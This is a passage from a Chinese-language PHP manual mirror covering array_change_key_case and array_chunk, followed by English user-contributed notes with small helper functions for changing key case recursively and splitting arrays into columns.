    }
    elseif (isset($max_depth) && $depth >= $max_depth) {
      $text .= "*MAX DEPTH REACHED* ";
    }
    else {
      if (!empty($value)) {
        $text .= "\n";
        foreach ($value as $child_key => $child_value) {
          $text .= egvaluetostring($child_value, $max_depth, (is_array($value) ? "[" : "") . $child_key . (is_array($value) ? "]" : ""), $depth+1, $refChain) . ",\n";
        }
        $text .= "\n" . $tab;
      }
    }

    $text .= ")";

    if (is_object($value)) {
      array_pop($refChain);
    }
  }
  else {
    $text .= "$value";
  }

  return $text;
}
?>
renatonascto at gmail dot com 17-Sep-2008 11:11
Big arrays use a lot of memory possibly resulting in memory limit errors. You can reduce memory usage on your script by destroying them as soon as you′re done with them. I was able to get over a few megabytes of memory by simply destroying some variables I didn′t use anymore.
You can view the memory usage/gain by using the funcion memory_get_usage(). Hope this helps!
cyberchrist at futura dot net 15-Oct-2007 06:33
Lately, dealing with databases, I've been finding myself needing to know if one array, $a, is a proper subset of $b.

Mathematically, this is asking (in set theory) [excuse the use of u and n instead of proper Unicode):

( A u B ) n ( ~ B )

What this does is it first limits to known values, then looks for anything outside of B but in the union of A and B (which would be those things in A which are not also in B).

If any value exists in this set, then A is NOT a proper subset of B, because a value exists in A but not in B.  For A to be a proper subset, all values in A must be in B.

I'm sure this could easily be done any number of ways but this seems to work for me.  It's not got a lot of error detection such as sterilizing inputs or checking input types.

// bool array_subset( array, array )
// Returns true if $a is a proper subset of $b, returns false otherwise.

function array_subset( $a, $b )
{
    if( count( array_diff( array_merge($a,$b), $b)) == 0 )
        return true;
    else
        return false;
}
mo dot longman at gmail dot com 30-Jul-2007 11:27
to 2g4wx3:
i think better way for this is using JSON, if you have such module in your PHP. See json.org.

to convert JS array to JSON string: arr.toJSONString();
to convert JSON string to PHP array: json_decode($jsonString);

You can also stringify objects, numbers, etc.
ob at babcom dot biz 28-Aug-2006 04:23
Here is a function to find out the maximum depth of a multidimensional array.

<?php
// return depth of given array
// if Array is a string ArrayDepth() will return 0
// usage: int ArrayDepth(array Array)

function ArrayDepth($Array,$DepthCount=-1,$DepthArray=array()) {
  $DepthCount++;
  if (is_array($Array))
    foreach ($Array as $Key => $Value)
      $DepthArray[]=ArrayDepth($Value,$DepthCount);
  else
    return $DepthCount;
  foreach($DepthArray as $Value)
    $Depth=$Value>$Depth?$Value:$Depth;
  return $Depth;
}
?>


将数组中的所有键名修改为全大写或小写

  • ? 数组 函数
  • array_chunk ?
  • PHP Manual
  • 数组 函数
  • 将数组中的所有键名修改为全大写或小写

array_change_key_case

(PHP 4 >= 4.2.0, PHP 5, PHP 7)

array_change_key_case — 将数组中的所有键名修改为全大写或小写

说明

array_change_key_case ( array $array [, int $case = CASE_LOWER ] ) : array

array_change_key_case() 将 array 数组中的所有键名改为全小写或大写。本函数不改变数字索引。

参数

array

需要操作的数组。

case

可以在这里用两个常量，CASE_UPPER 或 CASE_LOWER（默认值）。

返回值

返回一个键全是小写或者全是大写的数组；如果输入值（array）不是一个数组，那么返回FALSE

错误／异常

如果输入值（array）不是一个数组，就会抛出一个错误警告（E_WARNING）。

范例

Example #1 array_change_key_case()例一

<?php
$input_array = array("FirSt" => 1, "SecOnd" => 4);
print_r(array_change_key_case($input_array, CASE_UPPER));
?>

以上例程会输出：

Array
(
    [FIRST] => 1
    [SECOND] => 4
)

注释

Note:

如果一个数组中的多个键名经过本函数后变成一样的话（例如 "keY" 和 "kEY"），最后一个值将覆盖其它的值。

User Contributed Notes

ahmadz 25-Oct-2016 05:49
function convert_to_key_case($data, $case){

        $condition = ($case == 'lowercase')? 'lowercase' : 'uppercase';
        $test = [];
        foreach($data as  $key => $value) {
            if ($condition == 'lowercase') {
                $test[strtolower($key)] = $value;
            } else {
                $test[strtoupper($key)] = $value;
            }
        }
    return $test;
}

$input = ['test1'=>1, 'Test2' => 2, 'TeSt3' => 3];

print_r(convert_to_key_case($input, 'uppercase'));
print_r(convert_to_key_case($input, 'lowercase'));

OUTPUT

Array
(
 [TEST1] => 1
 [TEST2] => 2
 [TEST3] => 3
)

Array (
 [test1] => 1
 [test2] => 2
 [test3] => 3
 )
oulala at yandex dot com 10-Feb-2016 02:12
Recursive LowerCase First Letter in array key

if(!function_exists("mb_lcfirstKeys")) {
    function mb_lcfirstKeys($data) {
        $res = [];
        foreach ($data as $key => $value) {
            $newKey = mb_lcfirst($key);
            $res[$newKey] = is_array($value) ? mb_lcfirstKeys($value) : $value;
        }
        return $res;
    }
}
xsaero00 25-Apr-2014 05:33
Here is the most compact way to lower case keys in a multidimensional array

function array_change_key_case_recursive($arr)
{
    return array_map(function($item){
        if(is_array($item))
            $item = array_change_key_case_recursive($item);
        return $item;
    },array_change_key_case($arr));
}
NetPanther 22-Sep-2012 01:27
Use this to capitalize first letter of all array keys:

<?php

function ucfirstKeys(&$data)
{
  foreach ($data as $key => $value)
  {
    // Convert key
    $newKey = ucfirst($key);

    // Change key if needed
    if ($newKey != $key)
    {
      unset($data[$key]);
      $data[$newKey] = $value;
    }

    // Handle nested arrays
    if (is_array($value))
    {
      ucfirstKeys($data[$key]);
    }
  }
}

$test = array('foo' => 'bar', 'moreFoo' => array('more' => 'foo'));
ucfirstKeys($test);
print_r($test);

?>

Result:
Array ( [MoreFoo] => Array ( [More] => foo ) [Foo] => bar )
qeremy [atta] gmail [dotta] com 28-Feb-2012 05:15
Unicode example;

<?php
function array_change_key_case_unicode($arr, $c = CASE_LOWER) {
    $c = ($c == CASE_LOWER) ? MB_CASE_LOWER : MB_CASE_UPPER;
    foreach ($arr as $k => $v) {
        $ret[mb_convert_case($k, $c, "UTF-8")] = $v;
    }
    return $ret;
}

$arr = array("FirSt" => 1, "ya?" => "Oil", "?ekER" => "sugar");
print_r(array_change_key_case($arr, CASE_UPPER));
print_r(array_change_key_case_unicode($arr, CASE_UPPER));
?>

Array
(
    [FIRST] => 1
    [YA?] => Oil
    [?EKER] => sugar
)
Array
(
    [FIRST] => 1
    [YA?] => Oil
    [?EKER] => sugar
)
JOE 19-Oct-2011 11:13
Script to change case of sub-arrays keys to lower . It works well for me. hope it helps.

<?php
$array=array("First"=>"val1","SecoNd"=>"val2",
"third"=>array("third-INner1"=>"val3.1"),
"fourth"=>array("FouthINNer1"=>"val4.1","FourthINNER2"=>"val4.2"));
print_r($array);
$key=array_keys($array);
foreach($key as $ki)
{
    $klower=strtolower($ki);
    $val=$array[$ki];
    if(is_array($val))
    {
        foreach($val as $kinner=>$vinner)
        {

            $tl=strtolower($kinner);
            unset($val[$kinner]);
            $val[$tl]=$vinner;
        }
    }
    unset($array[$ki]);
    $array[$klower]=$val;
}
echo "<br> After Changing Key to-LowerCase : <br>";
print_r($array);

?>
Lus Henrique Pessoa 24-Sep-2010 09:03
<?php

// improving the previous script
function ack_r3(&$array, $case=CASE_LOWER, $flag_rec=false)
    {
      $array = array_change_key_case($array, $case);
      if ( $flag_rec ) {
        foreach ($array as $key => $value) {
            if ( is_array($value) ) {
                ack_r3($array[$key], $case, true);
            }
        }
      }
    }

// same of array_change_key_case
$arr = array('ID' => 1, 'NAME'=> 'Luis', 'Contact' => array('PHONE' => '3010-7148', 'E-MAIL' => 'luis@net.com') );
    ack_r3($arr, CASE_LOWER,false);
    var_dump($arr);

    $arr = array('ID' => 1, 'NAME'=> 'Luis', 'Contact' => array('PHONE' => '3010-7148', 'E-MAIL' => 'luis@net.com') );
    ack_r3($arr, CASE_LOWER,true);
    var_dump($arr);

?>

outputs:

array(3) {
  ["id"]=>
  int(1)
  ["name"]=>
  string(4) "Luis"
  ["contact"]=>
  array(2) {
    ["PHONE"]=>
    string(9) "3010-7148"
    ["E-MAIL"]=>
    string(12) "luis@net.com"
  }
}
array(3) {
  ["id"]=>
  int(1)
  ["name"]=>
  string(4) "Luis"
  ["contact"]=>
  array(2) {
    ["phone"]=>
    string(9) "3010-7148"
    ["e-mail"]=>
    string(12) "luis@net.com"
  }
}
Luis Henrique Pessoa 23-Sep-2010 09:25
Script to change case of sub-arrays keys:

<?php

    function arrKey2Lower(&$arrVals) {
        foreach( $arrVals as $key => $item ) {
            $key2 = strtolower($key);
            if ( $key2 != $key) {
                unset($arrVals[$key]);
                $arrVals[$key2]=$item;
                $key=$key2;
            }

            if ( is_array($item) ) { arrKey2Lower($arrValores[$key]); }
        }
    }

    $arr = array('ID' => 1, 'NAME'=> 'Luis', 'Contact' => array('PHONE' => '3010-7148', 'E-MAIL' => 'luis@net.com') );
    arrKey2Lower($arr);
    var_dump($arr);

?>

outputs:

array(3) {
  ["id"]=>
  int(1)
  ["name"]=>
  string(4) "Luis"
  ["contact"]=>
  array(2) {
    ["phone"]=>
    string(9) "3010-7148"
    ["e-mail"]=>
    string(12) "luis@net.com"
  }
}
info at microweb dot lt 29-Nov-2009 02:07
Simple function to change multidimensional array's all values to uppercase. If you would like to change to lowercase then change "mb_strtoupper" to  "mb_strtolower". It works perfect for me ;)

<?php
function change_case_recursive($arr){
    foreach ($arr as $key=>$val){
        if (!is_array($arr[$key])){
            $arr[$key]=mb_strtoupper($arr[$key]);
        }else{
            $arr[$key]=change_case_recursive($arr[$key]);
        }
    }
    return $arr;
}
?>
david at ramaboo dot com 02-Feb-2009 03:22
Same as array_change_key_case only with the values. This should really be part of PHP!

<?php
/**
 * @brief Returns an array with all values lowercased or uppercased.
 * @return array Returns an array with all values lowercased or uppercased.
 * @param object $input The array to work on
 * @param int $case [optional] Either \c CASE_UPPER or \c CASE_LOWER (default).
 */
function array_change_value_case(array $input, $case = CASE_LOWER) {
    switch ($case) {
        case CASE_LOWER:
            return array_map('strtolower', $input);
            break;
        case CASE_UPPER:
            return array_map('strtoupper', $input);
            break;
        default:
            trigger_error('Case is not valid, CASE_LOWER or CASE_UPPER only', E_USER_ERROR);
            return false;
    }
}
?>
charles 12-Jan-2009 11:38
<?php
$input_array = array("FirSt" => 1, "SecOnd" => 4);
print_r(array_change_key_case($input_array, CASE_UPPER));
?>
anon at ymous dot com 02-Dec-2008 03:19
Below is a recursive version of this function.

<?php
    /**
     * A recursive array_change_key_case function.
     * @param array $input
     * @param integer $case
     */
    function array_change_key_case_recursive($input, $case = null){
        if(!is_array($input)){
            trigger_error("Invalid input array '{$array}'",E_USER_NOTICE); exit;
        }
        // CASE_UPPER|CASE_LOWER
        if(null === $case){
            $case = CASE_LOWER;
        }
        if(!in_array($case, array(CASE_UPPER, CASE_LOWER))){
            trigger_error("Case parameter '{$case}' is invalid.", E_USER_NOTICE); exit;
        }
        $input = array_change_key_case($input, $case);
        foreach($input as $key=>$array){
            if(is_array($array)){
                $input[$key] = array_change_key_case_recursive($array, $case);
            }
        }
        return $input;
    }
?>
andreas dot schuhmacher87 at googlemail dot com 14-Apr-2008 06:01
multibyte and multi-dimensional-array support, have fun!

<?php
    define('ARRAY_KEY_FC_LOWERCASE', 25); //FOO => fOO
    define('ARRAY_KEY_FC_UPPERCASE', 20); //foo => Foo
    define('ARRAY_KEY_UPPERCASE', 15); //foo => FOO
    define('ARRAY_KEY_LOWERCASE', 10); //FOO => foo
    define('ARRAY_KEY_USE_MULTIBYTE', true); //use mutlibyte functions

    /**
    * change the case of array-keys
    *
    * use: array_change_key_case_ext(array('foo' => 1, 'bar' => 2), ARRAY_KEY_UPPERCASE);
    * result: array('FOO' => 1, 'BAR' => 2)
    *
    * @param    array
    * @param    int
    * @return     array
    */
    function array_change_key_case_ext(array $array, $case = 10, $useMB = false, $mbEnc = 'UTF-8') {
        $newArray = array();

        //for more speed define the runtime created functions in the global namespace

        //get function
        if($useMB === false) {
            $function = 'strToUpper'; //default
            switch($case) {
                //first-char-to-lowercase
                case 25:
                    //maybee lcfirst is not callable
                    if(!function_exists('lcfirst'))
                        $function = create_function('$input', '
                            return strToLower($input[0]) . substr($input, 1, (strLen($input) - 1));
                        ');
                    else $function = 'lcfirst';
                    break;

                //first-char-to-uppercase
                case 20:
                    $function = 'ucfirst';
                    break;

                //lowercase
                case 10:
                    $function = 'strToLower';
            }
        } else {
            //create functions for multibyte support
            switch($case) {
                //first-char-to-lowercase
                case 25:
                    $function = create_function('$input', '
                        return mb_strToLower(mb_substr($input, 0, 1, \'' . $mbEnc . '\')) .
                            mb_substr($input, 1, (mb_strlen($input, \'' . $mbEnc . '\') - 1), \'' . $mbEnc . '\');
                    ');

                    break;

                //first-char-to-uppercase
                case 20:
                    $function = create_function('$input', '
                        return mb_strToUpper(mb_substr($input, 0, 1, \'' . $mbEnc . '\')) .
                            mb_substr($input, 1, (mb_strlen($input, \'' . $mbEnc . '\') - 1), \'' . $mbEnc . '\');
                    ');

                    break;

                //uppercase
                case 15:
                    $function = create_function('$input', '
                        return mb_strToUpper($input, \'' . $mbEnc . '\');
                    ');
                    break;

                //lowercase
                default: //case 10:
                    $function = create_function('$input', '
                        return mb_strToLower($input, \'' . $mbEnc . '\');
                    ');
            }
        }

        //loop array
        foreach($array as $key => $value) {
            if(is_array($value)) //$value is an array, handle keys too
                $newArray[$function($key)] = array_change_key_case_ex($value, $case, $useMB);
            elseif(is_string($key))
                $newArray[$function($key)] = $value;
            else $newArray[$key] = $value; //$key is not a string
        } //end loop

        return $newArray;
    }
?>
john at doe dot com 26-Sep-2007 12:04
<?php
function array_change_value_case($input, $case = CASE_LOWER)
{
    $aRet = array();

    if (!is_array($input))
    {
        return $aRet;
    }

    foreach ($input as $key => $value)
    {
        if (is_array($value))
        {
            $aRet[$key] = array_change_value_case($value, $case);
            continue;
        }

        $aRet[$key] = ($case == CASE_UPPER ? strtoupper($value) : strtolower($value));
    }

    return $aRet;
}
?>
cm at gameswelt dot de 10-Aug-2007 04:11
I just changed the code a little bit so you havent got a code that repeats itself.

<?php

function array_change_key_case_secure($array = array(), $case = CASE_UPPER){
    $secure = array();
    $functionWrap = array(CASE_UPPER => 'strtoupper',
                            CASE_LOWER => 'strtolower');

    foreach($array as $key => $val){
        if(isset($functionWrap[$key])){
            $key = $functionWrap[$case]($key);
            $secure[$key][] = $val;
        } else {
            die('Not a known Type');
        }
    }

    foreach($secure as $key => $val){
        if(count($secure[$key]) == 1){
            $secure[$key] = $val[0];
        }
    }

    return $secure;
}

$myArray = array('A' => 'Hello',
                    'B' => 'World',
                    'a' => 'how are you?');

print_r($myArray);
$myArray = array_change_key_case_secure($myArray);
print_r($myArray);

/*
Array
(
    [A] => Hello
    [B] => World
    [a] => how are you?
)
Array
(
    [A] => Array
        (
            [0] => Hello
            [1] => how are you?
        )

    [B] => World
)
*/


将一个数组分割成多个

  • ? array_change_key_case
  • array_column ?
  • PHP Manual
  • 数组 函数
  • 将一个数组分割成多个

array_chunk

(PHP 4 >= 4.2.0, PHP 5, PHP 7)

array_chunk — 将一个数组分割成多个

说明

array_chunk ( array $array , int $size [, bool $preserve_keys = false ] ) : array

将一个数组分割成多个数组，其中每个数组的单元数目由 size 决定。最后一个数组的单元数目可能会少于 size 个。

参数

array

需要操作的数组

size

每个数组的单元数目

preserve_keys

设为 TRUE，可以使 PHP 保留输入数组中原来的键名。如果你指定了 FALSE，那每个结果数组将用从零开始的新数字索引。默认值是 FALSE。

返回值

得到的数组是一个多维数组中的单元，其索引从零开始，每一维包含了 size 个元素。

错误／异常

如果 size 小于 1，会抛出一个 E_WARNING 错误并返回 NULL。

范例

Example #1 array_chunk() 例子

<?php
$input_array = array('a', 'b', 'c', 'd', 'e');
print_r(array_chunk($input_array, 2));
print_r(array_chunk($input_array, 2, true));
?>

以上例程会输出：

Array
(
    [0] => Array
        (
            [0] => a
            [1] => b
        )

    [1] => Array
        (
            [0] => c
            [1] => d
        )

    [2] => Array
        (
            [0] => e
        )

)
Array
(
    [0] => Array
        (
            [0] => a
            [1] => b
        )

    [1] => Array
        (
            [2] => c
            [3] => d
        )

    [2] => Array
        (
            [4] => e
        )

)

参见

  • array_slice() - 从数组中取出一段

User Contributed Notes

Andrew Martin 03-Jul-2018 03:43
To reverse an array_chunk, use array_merge, passing the chunks as a variadic:

<?php
$array = [1, 2, 3, 4, 5, 6, 7, 8, 9];

$chunks = array_chunk($array, 3);
// $chunks = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]

$de_chunked = array_merge(...$chunks);
// $de_chunked = [1, 2, 3, 4, 5, 6, 7, 8, 9]
?>
suisuiruyi at aliyun dot com 03-Jun-2016 09:02
chunk array vertically

$arr    = range(1, 19);
function array_chunk_vertical($arr, $percolnum){
    $n = count($arr);
    $mod    = $n % $percolnum;
    $cols   = floor($n / $percolnum);
    $mod ? $cols++ : null ;
    $re     = array();
    for($col = 0; $col < $cols; $col++){
        for($row = 0; $row < $percolnum; $row++){
            if($arr){
                $re[$row][]   = array_shift($arr);
            }
        }
    }
    return $re;
}
$result = array_chunk_vertical($arr, 6);
foreach($result  as $row){
    foreach($row as $val){
        echo '['.$val.']';
    }
    echo '<br/>';
}
/*
[1][7][13][19]
[2][8][14]
[3][9][15]
[4][10][16]
[5][11][17]
[6][12][18]
 */
normiridium at gmail dot com 17-Apr-2016 10:55
A breakdown by groups with excess:

function array_chunk_greedy($arr, $count){
    $arr = array_chunk($arr, $count);
    if(($k = count($arr)-1) > 0){
        if(count($arr[$k]) < $count){
            $arr[$k-1] = array_merge($arr[$k-1], $arr[$k]);
            unset($arr[$k]);
        }
    }
    return $arr;
}

$arr = range(1, 13);
$arr = array_chunk_greedy($arr, 4);

print_r($arr);

[1,2,3,4,5,6,7,8,9,10,11,12,13] —> [1,2,3,4] [5,6,7,8] [9,10,11,12,13]

More examples:

[1,2,3,4,5,6,7,8,9,10,11,12] —> [1,2,3,4] [5,6,7,8] [9,10,11,12]
[1,2,3,4,5,6,7,8,9,10,11,12,13] —> [1,2,3,4] [5,6,7,8] [9,10,11,12,13]
[1,2,3,4,5,6,7,8,9,10,11,12,13,14] —> [1,2,3,4] [5,6,7,8] [9,10,11,12,13,14]
[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15] —> [1,2,3,4] [5,6,7,8] [9,10,11,12,13,14,15]
[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16] —> [1,2,3,4] [5,6,7,8] [9,10,11,12] [13,14,15,16]

Example report:

$arr = range(1, 45);
$arr = array_chunk_lazy($arr, 10);

$arr = array_map(function($sub_value) {
            return implode('<br>', $sub_value);
        }, $arr);

$title = '<h2>title</h2>';
$arr = $title.implode($title, $arr).$title;

echo $arr;
dustin at fivetechnology dot com 10-Mar-2016 06:22
Had need to chunk an object which implemented ArrayAccess Iterator Countable.  array_chunk wouldn't do it.  Should work for any list of things

<?php
   $listOfThings = array(1,2,3,4,5,6,7,8,9,10,11,12,13);
   print_r(chunk_iterable($listOfThings, 4);

  function chunk_iterable($listOfThings, $size) {
      $chunk = 0;
      $chunks = array_fill(0, ceil(count($listOfThings) / $size) - 1, array());
      $index = 0;
      foreach($listOfThings as $thing) {
        if ($index && $index % $size == 0) $chunk++;
        $chunks[$chunk][] = $thing;
        $index++;
      }
      return $chunks;
  }
?>
siddharthundare at gmail dot com 28-Sep-2015 09:00
<table>
<tr>
<?php

$array_chunkdata = array(1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25);
$chunk  = array_chunk($array_chunkdata,5);
$rev_counter = 2;

function for_chunk($chunk_data){

    echo "<td><table>";

      foreach($chunk_data as $key => $chunk_value)
      {
        echo "<tr><td>";
        echo $chunk_value;
        echo "</td></tr>";
      }
      echo "</table></td>";

}

foreach($chunk as $key => $chunk_data)
{
    if($rev_counter%2==0)
    {
      for_chunk($chunk_data);
    }
    else
    {
      $chunk_data =  array_reverse($chunk_data);

      for_chunk($chunk_data);

    }
  $rev_counter++;
}
?>
</tr>
</table>
/*
Output:
1
2
3
4
5

10
9
8
7
6

11
12
13
14
15

20
19
18
17
16

21
22
23
24
25
*/
Anonymous 20-May-2014 10:51
Couldn't get the array_chunk_values() working, so ended up with this implementation:

<?php
function array_chunk_columns($data, $num_columns) {
  $n = count($data);
  $per_column = floor($n / $num_columns);
  $rest = $n % $num_columns;

  $columns = array();
  $index = 0;
  for ($i = 0; $i < $num_columns; $i++) {
    // Add an extra item to each column while the column number is less than the
    // remainder.
    $add_rest = ($rest && ($i < $rest)) ? 1 : 0;
    $number = $per_column + $add_rest;
    $columns[] = array_slice($data, $index, $number);
    $index += $number;
  }

  return $columns;
}

?>
stratboy 16-Sep-2013 10:22
Hi, I've made  a function to split an array into chunks based on columns wanted. For example:

<?php $a = array(1,2,3,4,5,6,7,8); ?>

goal (say, for 3 columns):

<?php
array(
   array(1,2,3),
   array(4,5,6),
   array(7,8)
);
?>

<?php
function get_array_columns($array, $columns){

        $columns_map = array();
        for($i=0; $i<$columns; $i++){ $columns_map[] = 0; }//init columns

        //create map
        $count = count($array);
        $position = 0;
        while($count > 0){
            $columns_map[$position]++;
            $position = ($position < $columns-1) ? ++$position : 0;
            $count--;
        }

        //chunk the array based on map
        $chunked = array();
        foreach($columns_map as $map){
            $chunked[] = array_splice($array,0,$map);
        }

        return $chunked;
    }//end get_array_columns
?>
nate at ruggfamily dot com 19-Jul-2010 09:00
If you just want to grab one chunk from an array, you should use array_slice().
dead dot screamer at seznam dot cz 27-Jan-2009 02:28
This function can be used to reverse effect of <?php array_Chunk()?>.
<?php
function array_Unchunk($array)
{
    return call_User_Func_Array('array_Merge',$array);
}

header('Content-Type: text/plain');
$array=array(
    array(
            'Black Canyon City',
            'Chandler',
            'Flagstaff',
            'Gilbert',
            'Glendale',
            'Globe',
    ),
    array(
            'Mesa',
            'Miami',
            'Phoenix',
            'Peoria',
            'Prescott',
            'Scottsdale',
    ),
    array(
            'Sun City',
            'Surprise',
            'Tempe',
            'Tucson',
            'Wickenburg',
    ),
);
var_Dump(array_Unchunk($array));
?>

Output:
array(17) {
  [0]=>
  string(17) "Black Canyon City"
  [1]=>
  string(8) "Chandler"
  [2]=>
  string(9) "Flagstaff"
  [3]=>
  string(7) "Gilbert"
  [4]=>
  string(8) "Glendale"
  [5]=>
  string(5) "Globe"
  [6]=>
  string(4) "Mesa"
  [7]=>
  string(5) "Miami"
  [8]=>
  string(7) "Phoenix"
  [9]=>
  string(6) "Peoria"
  [10]=>
  string(8) "Prescott"
  [11]=>
  string(10) "Scottsdale"
  [12]=>
  string(8) "Sun City"
  [13]=>
  string(8) "Surprise"
  [14]=>
  string(5) "Tempe"
  [15]=>
  string(6) "Tucson"
  [16]=>
  string(10) "Wickenburg"
}
Rasmus Schultz (http://mindplay.dk) 23-Jan-2009 01:59
Unfortunately, this function only accepts real arrays, not iterable objects... For that, you need this function:

<?php

function break_array($array, $page_size) {

  $arrays = array();
  $i = 0;

  foreach ($array as $index => $item) {
    if ($i++ % $page_size == 0) {
      $arrays[] = array();
      $current = & $arrays[count($arrays)-1];
    }
    $current[] = $item;
  }

  return $arrays;

}

?>
OIS 10-Jun-2008 05:31
Response to azspot at gmail dot com function partition.

$columns = 3;
$citylist = array('Black Canyon City', 'Chandler', 'Flagstaff', 'Gilbert', 'Glendale', 'Globe', 'Mesa', 'Miami', 'Phoenix', 'Peoria', 'Prescott', 'Scottsdale', 'Sun City', 'Surprise', 'Tempe', 'Tucson', 'Wickenburg');
print_r(array_chunk($citylist, ceil(count($citylist) / $columns)));

Output:
Array
(
    [0] => Array
        (
            [0] => Black Canyon City
            [1] => Chandler
            [2] => Flagstaff
            [3] => Gilbert
            [4] => Glendale
            [5] => Globe
        )

    [1] => Array
        (
            [0] => Mesa
            [1] => Miami
            [2] => Phoenix
            [3] => Peoria
            [4] => Prescott
            [5] => Scottsdale
        )

    [2] => Array
        (
            [0] => Sun City
            [1] => Surprise
            [2] => Tempe
            [3] => Tucson
            [4] => Wickenburg
        )

)
azspot at gmail dot com 08-May-2007 04:53
Tried to use an example below (#56022) for array_chunk_fixed that would "partition" or divide an array into a desired number of split lists -- a useful procedure for "chunking" up objects or text items into columns, or partitioning any type of data resource. However, there seems to be a flaw with array_chunk_fixed — for instance, try it with a nine item list and with four partitions. It results in 3 entries with 3 items, then a blank array.

So, here is the output of my own dabbling on the matter:

<?php

function partition( $list, $p ) {
    $listlen = count( $list );
    $partlen = floor( $listlen / $p );
    $partrem = $listlen % $p;
    $partition = array();
    $mark = 0;
    for ($px = 0; $px < $p; $px++) {
        $incr = ($px < $partrem) ? $partlen + 1 : $partlen;
        $partition[$px] = array_slice( $list, $mark, $incr );
        $mark += $incr;
    }
    return $partition;
}

$citylist = array( "Black Canyon City", "Chandler", "Flagstaff", "Gilbert", "Glendale", "Globe", "Mesa", "Miami",
                   "Phoenix", "Peoria", "Prescott", "Scottsdale", "Sun City", "Surprise", "Tempe", "Tucson", "Wickenburg" );
print_r( partition( $citylist, 3 ) );

?>

Array
(
    [0] => Array
        (
            [0] => Black Canyon City
            [1] => Chandler
            [2] => Flagstaff
            [3] => Gilbert
            [4] => Glendale
            [5] => Globe
        )

    [1] => Array
        (
            [0] => Mesa
            [1] => Miami
            [2] => Phoenix
            [3] => Peoria
            [4] => Prescott
            [5] => Scottsdale
        )

    [2] => Array
        (
            [0] => Sun City
            [1] => Surprise
            [2] => Tempe
            [3] => Tucson
            [4] => Wickenburg
        )

)
21-Mar-2006 04:19
Here my array_chunk_values( ) with values distributed by lines (columns are balanced as much as possible) :

<?php
    function array_chunk_vertical($data, $columns) {
        $n = count($data) ;
        $per_column = floor($n / $columns) ;
        $rest = $n % $columns ;

        // The map
        $per_columns = array( ) ;
        for ( $i = 0 ; $i < $columns ; $i++ ) {
            $per_columns[$i] = $per_column + ($i < $rest ? 1 : 0) ;
        }

        $tabular = array( ) ;
        foreach ( $per_columns as $rows ) {
            for ( $i = 0 ; $i < $rows ; $i++ ) {
                $tabular[$i][ ] = array_shift($data) ;
            }
        }

        return $tabular ;
    }

    header('Content-Type: text/plain') ;

    $data = array_chunk_vertical(range(1, 31), 7) ;
    foreach ( $data as $row ) {
        foreach ( $row as $value ) {
            printf('[%2s]', $value) ;
        }
        echo "\r\n" ;
    }

    /*
        Output :

        [ 1][ 6][11][16][20][24][28]
        [ 2][ 7][12][17][21][25][29]
        [ 3][ 8][13][18][22][26][30]
        [ 4][ 9][14][19][23][27][31]
        [ 5][10][15]
    */
?>
magick dit crow ot gmail dit com 16-Oct-2005 09:50
Mistake key did not do what I thought. A patch.

function array_bucket($array,$bucket_size)// bucket filter
{
    if (!is_array($array)) return false;
    $buckets=array_chunk($array,$bucket_size);// chop up array into bucket size units
    $I=0;
    foreach ($buckets as $bucket)
    {
        $new_array[$I++]=array_sum($bucket)/count($bucket);
    }
    return $new_array;// return new array
}
magick dit crow ot gmail dit com 15-Oct-2005 10:58
This function takes each few elements of an array and averages them together. It then places the averages in a new array. It is used to smooth out data. For example lets say you have a years worth of hit data to a site and you want to graph it by the week. Then use a bucket of 7 and graph the functions output.

function array_bucket($array, $bucket_size)  // bucket filter
{
    if (!is_array($array)) return false; // no empty arrays
    $buckets=array_chunk($array,$bucket_size);  // chop up array into bucket size units
    foreach ($buckets as $bucket) $new_array[key($buckets])=array_sum($bucket)/count($bucket);
    return $new_array;  // return new smooth array
}
webmaster at cafe-clope dot net 20-Aug-2005 04:27
based on the same syntax, useful about making columns :

<?php
function array_chunk_fixed($input, $num, $preserve_keys = FALSE) {
    $count = count($input) ;
    if($count)
        $input = array_chunk($input, ceil($count/$num), $preserve_keys) ;
    $input = array_pad($input, $num, array()) ;
    return $input ;
}

$array = array(1, 2, 3, 4, 5) ;
print_r(array_chunk($array, 2)) ;
print_r(array_chunk_fixed($array, 2)) ;
?>

---- array_chunk : fixed number of sub-items ----
Array(
    [0] => Array(
            [0] => 1
            [1] => 2
        )
    [1] => Array(
            [0] => 3
            [1] => 4
        )

    [2] => Array(
            [0] => 5
        )
)

---- array_chunk : fixed number of columns ----
Array(
    [0] => Array(
            [0] => 1
            [1] => 2
            [2] => 3
        )
    [1] => Array(
            [0] => 4
            [1] => 5
        )
)
phpm at nreynolds dot me dot uk 17-Dec-2004 04:21
array_chunk() is helpful when constructing tables with a known number of columns but an unknown number of values, such as a calendar month. Example:

<?php

$values = range(1, 31);
$rows = array_chunk($values, 7);

print "<table>\n";
foreach ($rows as $row) {
    print "<tr>\n";
    foreach ($row as $value) {
        print "<td>" . $value . "</td>\n";
    }
    print "</tr>\n";
}
print "</table>\n";

?>

Outputs:

1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31

The other direction is possible too, with the aid of a function included at the bottom of this note. Changing this line:
  $rows = array_chunk($values, 7);

To this:
  $rows = array_chunk_vertical($values, 7);

Produces a vertical calendar with seven columns:

1 6  11 16 21 26 31
2 7  12 17 22 27
3 8  13 18 23 28
4 9  14 19 24 29
5 10 15 20 25 30

You can also specify that $size refers to the number of rows, not columns:
  $rows = array_chunk_vertical($values, 7, false, false);

Producing this:

1 8  15 22 29
2 9  16 23 30
3 10 17 24 31
4 11 18 25
5 12 19 26
6 13 20 27
7 14 21 28

The function:

<?php

function array_chunk_vertical($input, $size, $preserve_keys = false, $size_is_horizontal = true)
{
    $chunks = array();

    if ($size_is_horizontal) {
        $chunk_count = ceil(count($input) / $size);
    } else {
        $chunk_count = $size;
    }

    for ($chunk_index = 0; $chunk_index < $chunk_count; $chunk_index++) {
        $chunks[] = array();
    }

    $chunk_index = 0;
    foreach ($input as $key => $value)
    {
        if ($preserve_keys) {
            $chunks[$chunk_index][$key] = $value;
        } else {
            $chunks[$chunk_index][] = $value;
        }

        if (++$chunk_index == $chunk_count) {
            $chunk_index = 0;
        }
    }

    return $chunks;
}

?>
mick at vandermostvanspijk dot nl 07-Apr-2004 03:02
[Editors note: This function was based on a previous function by gphemsley at nospam users dot sourceforge.net]

For those of you that need array_chunk() for PHP < 4.2.0, this function should do the trick:

<?php
if (!function_exists('array_chunk')) {
